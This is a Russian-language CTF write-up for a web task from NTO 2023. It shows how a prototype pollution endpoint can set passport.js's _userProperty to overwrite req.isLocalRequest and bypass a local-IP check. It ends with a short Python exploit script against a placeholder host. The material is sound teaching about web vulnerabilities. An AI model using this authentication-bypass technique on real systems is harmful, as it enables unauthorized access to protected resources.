# WEB-3 Оценка: 30 ## Описание В данном задании необходимо по исходному коду выполнить поиск уязвимости и найти возможность обхода аутентификации. [Файл №1](https://github.com/dered-cybersecurity/nto_2023/blob/main/1-offensive/WEB-3/5a1a87a0-508f-451a-b258-ae5b58e917b1_task.zip) ## Решение Сервис представляет из себя форму регистрации и входа пользователя (рис. 1). ![](https://i.imgur.com/9GmFeTi.jpg) Рис. 1 Задача участника обойти проверку на локальный ip. ```javascript req.isLocalRequest = req.ip.includes("127.0.0.1") ... if (!req.isLocalRequest) return res.send("You should make request locally") ``` Для этого участник сначала должен обратить внимание на следующие строки: ```javascript app.get("/pollute/:param/:value", (req, res) => { var a = {} a["__proto__"][req.params.param] = req.params.value res.send("Polluted!") }) ``` В данном отрывке кода находится уязвимость под названием *prototype pollution*. Сама по себе она не сможет помочь обойти проверку, ведь в силу специфики *prototype pollution* у участника появляется возможность изменять только необъявленные свойства. Далее, в процессе решения, участник должен обратить внимание на функции, которые могут вызываться неоднократно, при этом после того, как произошло "загрязнение" свойства. Ниже представлен перечень строк, подходящих под описание. ```javascript app.use(session({ secret: 'secret', resave: false, saveUninitialized: false, store: new SQLiteStore({ db: 'sessions.db', dir: "."}) })) app.use(passport.authenticate('session')) app.use(passport.initialize()) ``` В процессе изучения функций участник должен проанализировать файл из исходного кода opensource проекта **passport.js**. В файле *passport/lib/strategies/session.js* на 117 строчке участник должен заметить, что параметр \_userProperty не объявлен, значит он может контролировать его значение. ```javascript var paused = options.pauseStream ? pause(req) : null; this._deserializeUser(su, req, function(err, user) { if (err) { return self.error(err); } if (!user) { delete req.session[self._key].user; } else { var property = req._userProperty || 'user'; req[property] = user; } self.pass(); ``` Из 118 строчки понятно, что имея контроль над параметром \_userProperty, мы можем изменять значение в объекте _req_ для любого ключа, отсюда следует, что мы можем перезаписать isLocalRequest на произвольную непустую строчку, тем самым обойдя проверку. ## Эксплойт ```python import requests URL = "http://changeme:3000" s = requests.Session() s.get(f"{URL}/pollute/_userProperty/isLocalRequest") s.get(f"{URL}/auth?username=user") res = s.get(f"{URL}/admin/flag") print(res.text) ```